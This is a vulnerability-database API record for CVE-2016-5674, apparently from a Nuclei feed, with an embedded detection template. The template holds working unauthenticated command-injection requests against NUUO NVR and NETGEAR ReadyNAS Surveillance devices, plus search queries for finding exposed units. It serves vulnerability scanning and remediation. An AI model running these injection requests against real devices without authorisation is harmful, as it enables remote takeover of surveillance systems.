{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2016-5674/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2016-5674/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2016-5674/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2016-5674/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2016-5674/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2016-5674"},"sightings":{"href":"/api/v1/sightings/cve-2016-5674"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2016/CVE-2016-5674.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2016-5674\n\ninfo:\n  name: NUUO NVR camera `debugging_center_utils_.php` - Command Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    __debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.\n  impact: |\n    Attackers can execute arbitrary PHP code remotely without authentication through command injection, leading to complete server compromise and data breach.\n  remediation: |\n    Update NUUO NVR devices to the latest firmware version that patches the command injection vulnerability.\n  reference:\n    - http://www.kb.cert.org/vuls/id/856152\n    - https://www.exploit-db.com/exploits/40200/\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2016-5674\n    cwe-id: CWE-20\n    epss-score: 0.9461\n    epss-percentile: 0.99855\n    cpe: cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: netgear\n    product: \"readynas_surveillance\"\n    fofa-query:\n      - \"app=\\\"NUUO-NVRmini\\\" || app=\\\"NUUO-NVR\\\" || title=\\\"Network Video Recorder Login\\\"\"\n      - app=\"nuuo-nvrmini\" || app=\"nuuo-nvr\" || title=\"network video recorder login\"\n  tags: cve,cve2016,nuuo,rce,netgear,vkev,vuln\nvariables:\n  rand: \"{{to_lower(rand_text_alpha(32))}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id\"\n      - \"{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig\"\n\n    stop-at-first-match: true\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 200\"\n          - \"contains(body_1, 'Debugging Center')\"\n          - \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)\"\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 200\"\n          - \"contains(body_2, 'Debugging Center')\"\n          - \"contains(body_2, 'Windows IP')\"\n        condition: and\n# digest: 490a004630440220591afa815e466607e0372056907f334a9d6650026e9ed5f7dd31223335b4545702205082af21a51921dfc7260c31d5164c9e0c6591b4e2a6b1dda723ae8e864619ac:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2016-5674"}